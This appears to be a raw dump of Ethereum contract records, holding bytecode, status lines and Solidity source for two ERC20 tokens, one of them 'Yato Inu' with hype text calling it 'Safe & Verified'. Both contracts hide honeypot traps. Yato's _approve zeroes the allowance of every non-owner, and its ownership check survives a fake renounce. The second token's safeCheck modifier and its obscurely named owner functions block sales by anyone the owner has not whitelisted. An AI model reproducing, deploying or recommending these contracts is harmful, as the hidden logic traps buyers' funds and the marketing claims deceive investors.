565b90505b92915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189f57600080fd5b7f70aea8d848e8a90fb7661b227dc522eb6395c3dac71b63cb59edd5c9899b2364600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a60009054906101000a900460ff16151515611a3f57600080fd5b611a4983836124df565b905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3457600080fd5b80600a60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611ca757600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cf557600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d8057600080fd5b611dc9600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361200e565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e55600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612027565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f1e600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361200e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561201c57fe5b818303905092915050565b600080828401905083811015151561203b57fe5b8091505092915050565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612156576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121e1565b612160818461200e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561230a57600080fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561235857600080fd5b6123a1600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361200e565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242d600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612027565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000612567600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612027565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6020604051908101604052806000815250905600a165627a7a72305820e5b6d3c12fa9ca746e846c9f31400ed593b8b1f387a075dfec52ba875ce602d00029
{"success": true, "error": null, "results": {}}
10,031
0xbc7990e7329e649b1a2e6b110712448387d1df75
/** 💥 #YatoInuToken: One of a kind peer-to-peer Token powered by the Ethereum blockchain. #YATO is the main protagonist of the anime/manga series Noragami. Minor god who desires to be worshipped as 'God of Fortune’. 💥 Despite coming across as lazy, selfish, greedy, and an outright pervert most of the time.. deep down inside his soul lies a diligent and determined spirit — a spirit that many of us could perhaps look to for inspiration on our own journeys as degenerate traders. ⚔️ 🗡 NO PRE-SALE or DROPS 🗡 LP LOCKED FOR 1 MONTH • Will Extend At Milestone 🗡 32K Starting MC 🗡 Starting Supply: 1 Trillion 🗡 10% Buy • 10% Sell Tax • Taxes Decrease Post-Launch 🗡 Contract Safe & Verified 🗡 Experienced Dev + Team • Active Community + Mods 🗡 NFT Collection Debut 🗡 Competitions & Contests 🎙 Tele: t.me/YatoInu 🎙 Twit: @YatoInuToken 🎙 Website: yatoinu.com */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract Yato is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'Yato Inu ' ; string private _symbol = 'YATO ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f44318de220e0048b64b2a7d7fa3976d8fddda15f7800420733355e9fdb4febf64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,032
0xffc1bde91351d38e5809e51c5807a4151c6bccd1
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_1MLN(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
